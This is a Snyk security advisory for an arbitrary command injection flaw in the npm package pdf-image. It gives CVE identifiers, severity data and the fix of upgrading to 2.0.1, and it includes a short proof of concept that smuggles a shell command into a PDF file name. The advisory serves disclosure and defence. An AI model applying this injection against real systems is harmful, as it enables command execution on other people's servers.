Arbitrary Command Injection Affecting pdf-image package, versions *


Severity

Recommended
0.0
critical
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
3.02% (91st percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Arbitrary Command Injection vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDnpm:pdf-image:20180529
  • published30 May 2018
  • disclosed29 May 2018
  • creditN B Sri Harsha, kelotex

Introduced: 29 May 2018

CVE-2018-3757  (opens in a new tab)
CVE-2020-8132  (opens in a new tab)
CWE-94  (opens in a new tab)

How to fix?

Upgrade pdf-image to version 2.0.1 or higher.

Overview

pdf-image provides an interface to convert PDF's pages to png files in Node.js by using ImageMagick.

Affected versions of this package are vulnerable to Arbitrary Command Injection.

PoC by N B Sri Harsha

var PDFImage = require("pdf-image").PDFImage;
var pdfImage = new PDFImage("asd.pdf\"; touch /tmp/hacked\"");
console.log(pdfImage.constructGetInfoCommand())
pdfImage.numberOfPages().then(function (imagePath){
console.log(imagePath);
})

CVSS Scores

version 3.1